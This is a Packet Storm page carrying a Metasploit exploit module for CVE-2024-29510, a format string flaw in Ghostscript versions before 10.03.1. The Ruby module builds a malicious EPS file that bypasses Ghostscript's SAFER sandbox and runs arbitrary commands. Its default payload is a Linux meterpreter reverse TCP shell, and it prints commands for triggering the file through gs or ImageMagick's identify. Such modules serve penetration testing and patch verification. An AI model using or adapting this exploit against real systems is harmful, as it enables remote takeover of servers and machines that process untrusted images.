exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ghostscript Command Execution / Format String

Ghostscript Command Execution / Format String
Posted Jul 22, 2024
Authored by Thomas Rinsma, Christophe de la Fuente | Site metasploit.com

This Metasploit module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick. This exploit only works against Ghostscript versions 10.03.0 and 10.01.2. Some offsets adjustment will probably be needed to make it work with other versions.

tags | exploit, arbitrary
advisories | CVE-2024-29510
SHA-256 | 3e3f414d0ec3165e352b2624a3e784100a79ab838c827536fa557daa6cf4b2b8

Ghostscript Command Execution / Format String

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghostscript Command Execution via Format String',
'Description' => %q{
This module exploits a format string vulnerability in Ghostscript
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute
arbitrary commands. This vulnerability is reachable via libraries such as
ImageMagick.

This exploit only works against Ghostscript versions 10.03.0 and
10.01.2. Some offsets adjustement will probably be needed to make it
work with other versions.
},
'Author' => [
'Thomas Rinsma', # Vuln discovery and PoC
'Christophe De La fuente' # Metasploit module
],
'References' => [
['CVE', '2024-29510'],
['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'],
['URL', 'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/']
],
'DisclosureDate' => '2024-03-14',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => [ 'unix', 'linux' ],
'DefaultOptions' => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']),
OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5])
])
end

def exploit
xploit = template.sub('MSF_PAYLOAD', payload.encoded)
xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s)

file_create(xploit)
print_good('You will need to start a handler for the selected payload first.')
print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")
print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}")
end

def template
xploit = File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2024-29510', 'ghostscript_format_string.eps'
))

# Remove comments
xploit.gsub!(/\s*% .+$/, '')

# Remove empty lines and lines with a single %
xploit.gsub(/^%?$\n/, '')
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close